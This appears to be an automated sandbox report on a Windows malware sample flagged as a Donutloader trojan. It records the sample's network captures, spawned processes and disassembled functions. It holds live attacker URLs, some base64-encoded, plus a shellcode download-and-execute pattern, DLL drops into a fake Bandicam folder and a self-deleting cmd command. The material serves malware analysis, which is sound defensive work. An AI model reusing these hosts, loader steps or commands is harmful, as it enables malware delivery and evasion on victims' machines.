2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 00 a8 25 00 00 00 00 00 00 00 00 00 00 e8 d7 02 00 a8 10 00 00 00 00 00 00 00 00 00 00 90 e8 02 00 88 09 00 00 00 00 00 00 00 00 00 00 18 f2 02 00 68 04 00 00 00 00 00 00 00 00 00 00 40 f7 02 00 68 06 00 00 00 00 00 00 00 00 00 00 a8 fd 02 00 e8 02 00 00 00 00 00 00 00 00 00 00 90 00 03 00 e8 01 00 00 00 00 00 00 00 00 00 00 78 02 03 00 28 01 00 00 00 00 00 00 00 00 00 00 a0 03 03 00 a8 0e 00 00 00 00 00 00 00 00 00 00 48 12 03 00 a8 08 00 00 00 00 00 00 00 00 00 00 f0 1a 03 00 c8 06 00 00 00 00 00 00 00 00 00 00 b8 21 03 00 68 05 00 00 00 00 00 00 00 00 00 00 20 27 03 00 4d 3c 00 00 00 00 00 00 00 00 00 00 70 63 03 00 a8 25 00 00 00 00 00 00 00 00 00 00 18 89 03 00 a8 10 00 00 00 00 00 00 00 00 00 00 c0 99 03 00 88 09 00 00 00 00 00 00 00 00 00 00 48 a3 Data Ascii: %h@hx(H!h 'M<pc%H
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 00 1f 00 00 00 e0 00 00 00 1f 00 00 00 c0 00 00 00 1f 00 00 00 c0 00 00 00 1f 00 00 00 c0 00 00 00 1f 00 00 00 c0 00 00 00 1f 00 00 00 c0 00 00 00 1f 00 00 00 f0 00 00 00 1f 00 00 00 fc 00 00 00 1f 00 00 00 fc 00 00 00 1f 00 00 00 fe 00 00 00 1f 00 00 00 fe 00 00 00 1f 00 00 00 fe 00 00 00 1f 00 00 00 fe 00 00 00 1f 00 00 00 fe 00 00 00 1f 00 00 00 fe 00 00 00 3f 00 00 00 ff 00 00 00 3f 00 00 00 ff 00 00 00 3f 00 00 00 ff 00 00 00 3f 00 00 00 ff 00 00 00 3f 00 00 00 ff 00 00 00 3f 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff ff ff ff 00 00 00 ff ff Data Ascii: ??????

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49717	43.153.232.151	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:54 UTC	136	OUT	GET /qd.bin HTTP/1.1 User-Agent: ShellcodeDownloader Host: wwwqd-1324142869.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:55 UTC	471	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 35592 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:55 GMT ETag: "e6b74dd44c465d628ca70eb30c79cc46" Last-Modified: Mon, 18 Mar 2024 08:16:34 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 1031718021693770213 x-cos-request-id: NjZhMjRmOTNfZWRlZjc4MGJfMTM0YTBfNjQ3NTYz x-cos-server-side-encryption: AES256
2024-07-25 13:13:55 UTC	7733	IN	Data Raw: e8 f3 28 00 00 f3 28 00 00 07 54 d8 68 93 82 54 3a 32 13 ba 02 1b b5 8f a2 9b 97 c8 32 af 17 a1 91 b1 c7 fa f6 87 6e 1a 08 00 00 00 00 cb e5 d3 42 60 11 34 3f 78 02 4c fa 42 d9 11 a9 39 7d 97 0d 13 49 4c 9a dd 23 ce e9 9f 44 fd e9 5c 89 67 1d ab 71 80 93 3c f2 a2 ba 6d 1c 68 b9 d6 9b 74 22 aa 8d 71 55 f3 33 00 2b b3 95 2c d6 0d ce d2 c8 7d e5 3d 49 41 9d 1b 0a 76 9b d0 51 db 92 29 8d 93 13 7e 87 5b 0f f7 3a 15 3d 06 34 dc 75 d0 b5 f8 ed 76 1f 7e f7 b7 51 6d 8c 7b 0f e1 47 f2 6e 6f c6 56 f5 be b7 93 5a a7 33 25 e8 a5 0e 22 11 e9 41 ab f8 42 6f ea b6 97 3c 1b 6d c2 7f 91 49 47 9c 6b 36 79 91 4f 15 60 5a a5 61 0f 55 4e 3b b3 12 47 77 94 60 a7 aa a4 37 24 37 7c 8d 5c a6 ea 59 99 c1 19 90 c8 62 28 54 e5 60 0b 67 6c 12 06 d2 5f 44 16 15 be dc f6 3b fc b3 09 e2 Data Ascii: ((ThT:22nB`4?xLB9}IL#D\gq<mht"qU3+,}=IAvQ)~[:=4uv~Qm{GnoVZ3%"ABo<mIGk6yO`ZaUN;Gw`7$7\|\Yb(T`gl_D;
2024-07-25 13:13:55 UTC	16368	IN	Data Raw: fc fa 2a 3a 08 68 62 89 b6 f0 f5 d1 b2 2a 5c 14 25 bc ef 03 a1 ff 79 10 c2 35 f6 22 c7 7e 48 3a b2 69 38 2a fe 76 23 f2 9c ee 7b d8 ee 6b 05 dd 2b 0e 0b 86 40 4b 80 3e da 34 5a 52 f9 0a 04 eb 5e f1 3b 94 fe df ec 66 59 8f d9 df 60 38 d7 cf da e9 83 78 2a e6 e9 2d ed 78 b1 ca 05 50 81 ec 64 94 f9 bb 20 34 3b 68 24 b8 c9 bd 72 b5 e0 1f 4f f1 04 9d 8f 7b 23 8c 28 d2 ac 4f a2 49 56 6d be 66 77 ce 11 5c 17 2e 7b 39 96 72 9c 68 31 8f 37 30 13 a7 ff 40 ab 8c 7d bf e8 cb 09 a4 69 fb 6c 9f 46 90 00 7b d0 83 ba 65 9c cf 93 7c ff 74 b7 f8 05 52 7f ba 0b bd 84 1f 7b 92 1e df 62 6b 89 2b ca 13 4b cb d8 3e fa b7 6a 66 ae a5 49 1c 16 89 1e 9e f4 54 4c 69 47 80 97 09 88 e2 1e de f7 5c 6c 2e 41 38 57 5f 34 6b 33 54 f7 ec 13 67 75 ea 04 05 62 71 67 96 69 fd af 2f 1c cb a2 Data Ascii: :hb\%y5"~H:i8v#{k+@K>4ZR^;fY`8x-xPd 4;h$rO{#(OIVmfw\.{9rh170@}ilF{e\|tR{bk+K>jfITLiG\l.A8W_4k3Tgubqgi/
2024-07-25 13:13:55 UTC	8184	IN	Data Raw: ff b6 a8 00 00 00 56 e8 cd 27 00 00 83 c4 3c 8b e8 6a 00 ff 56 38 83 7c 24 10 00 89 44 24 14 74 4c 85 db 74 48 85 ed 74 44 8d 44 24 18 c7 44 24 18 07 00 01 00 50 ff d5 50 ff d3 8b 86 38 02 00 00 03 44 24 14 83 a4 24 dc 00 00 00 fc 89 84 24 d0 00 00 00 8d 44 24 18 6a 00 50 ff 54 24 18 eb 0c 83 c8 ff eb 09 56 e8 c6 11 00 00 59 8b c7 5f 5e 5d 5b 81 c4 d4 02 00 00 c3 8b 44 24 04 83 c0 04 f0 ff 00 8b 00 c2 04 00 b8 01 40 00 80 c2 08 00 56 57 e8 3e 25 00 00 8b 74 24 10 b9 ad 11 40 00 bf 7b 36 40 00 2b cf 03 c1 8b 0e 89 01 e8 23 25 00 00 b9 1f 11 40 00 2b cf 03 c1 8b 0e 89 41 04 e8 10 25 00 00 b9 0c 12 40 00 2b cf 03 c1 8b 0e 89 41 08 e8 fd 24 00 00 b9 2e 11 40 00 2b cf 03 c1 8b 0e 89 41 0c e8 ea 24 00 00 b9 2e 11 40 00 2b cf 03 c1 8b 0e 5f 89 41 10 8b 44 24 08 Data Ascii: V'<jV8\|$D$tLtHtDD$D$PP8D$$$D$jPT$VY_^][D$@VW>%t$@{6@+#%@+A%@+A$.@+A$.@+_AD$
2024-07-25 13:13:55 UTC	3307	IN	Data Raw: 9c 24 54 03 00 00 8b ac 24 58 03 00 00 6a 03 58 39 45 00 0f 85 e6 00 00 00 33 c0 40 57 50 8b 84 24 84 00 00 00 51 03 c1 ff d0 80 bd 0c 03 00 00 00 0f 84 1d 01 00 00 8b 8c 24 cc 00 00 00 8b 54 24 10 85 c9 0f 84 0e 01 00 00 8b 74 11 18 85 f6 0f 84 02 01 00 00 8b 44 11 20 8d 7e ff 8b 6c 11 1c 03 c2 8b 4c 11 24 03 ea 03 ca 89 4c 24 3c 8d 3c b8 8b 8c 24 58 03 00 00 8b 07 81 c1 0c 03 00 00 03 c2 51 50 e8 05 0c 00 00 8b 54 24 18 59 59 85 c0 74 0f 6a 04 58 2b f8 83 ee 01 75 d4 e9 c9 00 00 00 8b 44 24 3c 0f b7 44 70 fe 8b 74 85 00 03 f2 0f 84 b4 00 00 00 8b ac 24 58 03 00 00 8d bd 0c 04 00 00 80 3f 00 74 31 83 bd 0c 05 00 00 00 74 12 8d 84 24 4c 01 00 00 50 57 53 e8 e1 04 00 00 83 c4 0c 83 bd 0c 05 00 00 00 8d 84 24 4c 01 00 00 0f 44 c7 50 ff d6 eb 59 ff d6 eb 55 Data Ascii: $T$XjX9E3@WP$Q$T$tD ~lL$L$<<$XQPT$YYtjX+uD$<Dpt$X?t1t$LPWS$LDPYU

Target ID:	1
Start time:	09:13:27
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002B_295.exe"
Imagebase:	0x190000
File size:	286'124 bytes
MD5 hash:	8618FB139983D302AEA7A6DADA6C9DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000001.00000003.1844627099.0000000000921000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000001.00000003.1886586977.0000000000947000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:13:27
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:14:01
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:14:01
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	1087
Total number of Limit Nodes:	19

Executed Functions

Function 00192EC0 Relevance: 47.4, APIs: 14, Strings: 13, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00192EE5
CreateDirectoryA.KERNEL32(C:\Program Files (x86)\Bandicam,00000000), ref: 00192F05

Part of subcall function 00192CB0: InternetOpenA.WININET(Mozilla/5.0,00000001,00000000,00000000,00000000), ref: 00192CDB
Part of subcall function 00192CB0: InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,80000000,00000000), ref: 00192D19
Part of subcall function 00192CB0: task.LIBCPMTD ref: 00192D25
Part of subcall function 00192CB0: InternetReadFile.WININET(00000000,00000001,00000400,00000000), ref: 00192D87
Part of subcall function 00192CB0: InternetCloseHandle.WININET(00000000), ref: 00192DC1
Part of subcall function 00192CB0: InternetCloseHandle.WININET(00000000), ref: 00192DDD

task.LIBCPMTD ref: 00192F47
task.LIBCPMTD ref: 00192F56
task.LIBCPMTD ref: 00192F97
task.LIBCPMTD ref: 00192FA6
task.LIBCPMTD ref: 00192FF6
task.LIBCPMTD ref: 00193008
task.LIBCPMTD ref: 00193058
task.LIBCPMTD ref: 0019306A
task.LIBCPMTD ref: 001930BA
task.LIBCPMTD ref: 001930CC
task.LIBCPMTD ref: 0019311C
task.LIBCPMTD ref: 0019312E

Strings

aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDE0MC5kbGw=, xrefs: 00193086
aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDEyMC5kbGw=, xrefs: 00192F6F
C:\Program Files (x86)\Bandicam, xrefs: 00192F00
C:\Program Files (x86)\Bandicam\msvcr120.dll, xrefs: 00192FAB
C:\Program Files (x86)\Bandicam\x32bridge.dll, xrefs: 001930D1
C:\Program Files (x86)\Bandicam\msvcp120.dll, xrefs: 00192F5B
aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcjEyMC5kbGw=, xrefs: 00192FC2
aHR0cHM6Ly93d3cxNTEtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS94MzJicmlkZ2UuZGxs, xrefs: 001930E8
aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS92Y3J1bnRpbWUxNDAuZGxs, xrefs: 00193024
C:\Program Files (x86)\Bandicam\msvcp140.dll, xrefs: 0019306F
C:\Program Files (x86)\Bandicam\QT.exe, xrefs: 00192F0B
C:\Program Files (x86)\Bandicam\vcruntime140.dll, xrefs: 0019300D
aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9RVC5leGU=, xrefs: 00192F1F

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: task$Internet$CloseHandleOpen$CreateDirectoryFileInfoReadSystem
String ID: C:\Program Files (x86)\Bandicam$C:\Program Files (x86)\Bandicam\QT.exe$C:\Program Files (x86)\Bandicam\msvcp120.dll$C:\Program Files (x86)\Bandicam\msvcp140.dll$C:\Program Files (x86)\Bandicam\msvcr120.dll$C:\Program Files (x86)\Bandicam\vcruntime140.dll$C:\Program Files (x86)\Bandicam\x32bridge.dll$aHR0cHM6Ly93d3cxNTEtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS94MzJicmlkZ2UuZGxs$aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS92Y3J1bnRpbWUxNDAuZGxs$aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9RVC5leGU=$aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDE0MC5kbGw=$aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDEyMC5kbGw=$aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcjEyMC5kbGw=
API String ID: 1611864481-1199858880
Opcode ID: 39bb29228d5a51f797970375d222497a7b2df33edde31acc718ce1b1742dac2a
Instruction ID: ee35f16e258dd9c3c67202be38220520881c1be1abe28dc70dfa7a183cdddacc
Opcode Fuzzy Hash: 39bb29228d5a51f797970375d222497a7b2df33edde31acc718ce1b1742dac2a
Instruction Fuzzy Hash: 18613871801658EACF16EBA4CC46BDDBB75AF24310F9082A8E019731E1EB746B8DDF51

Function 00193150 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 223
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00192EC0: GetSystemInfo.KERNEL32(?), ref: 00192EE5
Part of subcall function 00192EC0: CreateDirectoryA.KERNEL32(C:\Program Files (x86)\Bandicam,00000000), ref: 00192F05
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00192F47
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00192F56
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00192F97
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00192FA6
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00192FF6
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00193008
Part of subcall function 00192EC0: task.LIBCPMTD ref: 00193058
Part of subcall function 00192EC0: task.LIBCPMTD ref: 0019306A

Sleep.KERNEL32(00000BB8,?,001B7283,000000FF), ref: 0019317C
InternetOpenA.WININET(ShellcodeDownloader,00000001,00000000,00000000,00000000), ref: 0019319D
InternetOpenUrlA.WININET(00000000,001C378C,00000000,00000000,80000000,00000000), ref: 001931DD
InternetCloseHandle.WININET(?), ref: 0019320E
InternetCloseHandle.WININET(?), ref: 00193271
InternetCloseHandle.WININET(?), ref: 0019327B
InternetReadFile.WININET(00000000,?,00001000,?), ref: 0019329C
InternetCloseHandle.WININET(00000000), ref: 001932D6
fpos.LIBCPMTD ref: 00193368
fpos.LIBCPMTD ref: 0019337D
fpos.LIBCPMTD ref: 001933AD
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000040,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,001C3898,00000024,00000040), ref: 001933B5
fpos.LIBCPMTD ref: 001933E5
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00193414
InternetCloseHandle.WININET(00000000), ref: 001932E0

Part of subcall function 001978F0: char_traits.LIBCPMTD ref: 0019791D

Part of subcall function 001978F0: char_traits.LIBCPMTD ref: 00197A77

Part of subcall function 001978F0: char_traits.LIBCPMTD ref: 00197B5C

Part of subcall function 00193850: fpos.LIBCPMTD ref: 001938FA

Strings

error , xrefs: 0019324B
error, xrefs: 001931F1
error, xrefs: 001931B1
error, xrefs: 001933C9
ShellcodeDownloader, xrefs: 00193198
error, xrefs: 0019331A

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Internettask$CloseHandlefpos$char_traits$OpenVirtual$AllocCreateDirectoryFileFreeInfoReadSleepSystem
String ID: ShellcodeDownloader$error$error$error$error$error
API String ID: 161186730-945787770
Opcode ID: c30544d919da1deaeccf7cfe27228ac22bc80f0b106fff9f558060bd86749d48
Instruction ID: 037058c3af4d94e1401db430a0e7ca4de8eb8d427488cd3fb1b5b56d54dda218
Opcode Fuzzy Hash: c30544d919da1deaeccf7cfe27228ac22bc80f0b106fff9f558060bd86749d48
Instruction Fuzzy Hash: 34817EB4E50204ABDF14EBA4DC86FEE7778AF64704F104258F212761C1DFB46A45CBA1

Function 0565E990 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e78979d7b1e74baf8178385f77110dfeed0d193a6e31c90853c4496870b78c
Instruction ID: 86c79051f91f362e19a054110da524c737f6ca40908c91834e8f8de6753a045e
Opcode Fuzzy Hash: e6e78979d7b1e74baf8178385f77110dfeed0d193a6e31c90853c4496870b78c
Instruction Fuzzy Hash: 6DA18D75B007149BEF19EFB498645AE7BF2EFC5610B008A5DD142AB340DF3A5E068BC6

Function 0565E9B8 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6de983f3c103563ac8dfb8c67093952e3b646620b9a3a124e443923b4bbfa0
Instruction ID: c5a8bec800075524a37b6688b0d22c3c552cee84b4aee3469b61f38ef3237666
Opcode Fuzzy Hash: ab6de983f3c103563ac8dfb8c67093952e3b646620b9a3a124e443923b4bbfa0
Instruction Fuzzy Hash: EF917D74B007149BDF19EFB498645AE76F3EBC5610B408A6DD106AB340DF3A6E068BC6

Function 00192E30 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 36
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000100), ref: 00192E3E
SetPriorityClass.KERNEL32(00000000), ref: 00192E45
GetCurrentThread.KERNEL32 ref: 00192E4D
SetThreadPriority.KERNEL32(00000000), ref: 00192E54
SHChangeNotify.SHELL32(00000004,00000001,?,00000000), ref: 00192E68
_fwprintf.LIBCONCRTD ref: 00192E82

Part of subcall function 00191170: _fread.LIBCMTD ref: 0019118A

ShellExecuteA.SHELL32(00000000,open,cmd.exe,?,00000000,00000000), ref: 00192EA1
ExitProcess.KERNEL32 ref: 00192EA9

Strings

open, xrefs: 00192E9A
/c del /q %s, xrefs: 00192E76
cmd.exe, xrefs: 00192E95

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: CurrentPriorityProcessThread$ChangeClassExecuteExitNotifyShell_fread_fwprintf
String ID: /c del /q %s$cmd.exe$open
API String ID: 809167050-3932901086
Opcode ID: 8dea0f571702f98d528fb7e21d321731893cb62476a36976a87cd9153d556309
Instruction ID: 378b72661444a6f5e44566201436c5963717b72d402254589636f2bac9a7da8f
Opcode Fuzzy Hash: 8dea0f571702f98d528fb7e21d321731893cb62476a36976a87cd9153d556309
Instruction Fuzzy Hash: D9F04971A843047FE715BBA09C0BFA9362CBB18F02F004558B315998D1CFF05589CB65

Function 001B42EE Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B3FA7: CreateFileW.KERNEL32(?,00000000,?,001B4397,?,?,00000000,?,001B4397,?,0000000C), ref: 001B3FC4

GetLastError.KERNEL32 ref: 001B4402
__dosmaperr.LIBCMT ref: 001B4409
GetFileType.KERNEL32(00000000), ref: 001B4415
GetLastError.KERNEL32 ref: 001B441F
__dosmaperr.LIBCMT ref: 001B4428
CloseHandle.KERNEL32(00000000), ref: 001B4448
CloseHandle.KERNEL32(001AAD3E), ref: 001B4595
GetLastError.KERNEL32 ref: 001B45C7
__dosmaperr.LIBCMT ref: 001B45CE

Strings

H, xrefs: 001B4553

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 27ccf230ea4469cceb4609f26e7453f7a39c61e5131047701ae17ae165e2a7c9
Instruction ID: 3057849706fed52fce23c641370653a86d1334f0e5eeee850214d4cb63eddb35
Opcode Fuzzy Hash: 27ccf230ea4469cceb4609f26e7453f7a39c61e5131047701ae17ae165e2a7c9
Instruction Fuzzy Hash: CFA13232A141549FCF19AFA8DC91BED3BB0AB4A324F18415DF811DB3A2CB308956CB51

Function 00192CB0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 92
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0,00000001,00000000,00000000,00000000), ref: 00192CDB

Part of subcall function 00192B40: task.LIBCPMTD ref: 00192C92

InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,80000000,00000000), ref: 00192D19
task.LIBCPMTD ref: 00192D25
InternetReadFile.WININET(00000000,00000001,00000400,00000000), ref: 00192D87
InternetCloseHandle.WININET(00000000), ref: 00192DC1
InternetCloseHandle.WININET(00000000), ref: 00192DDD

Strings

Mozilla/5.0, xrefs: 00192CD6

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

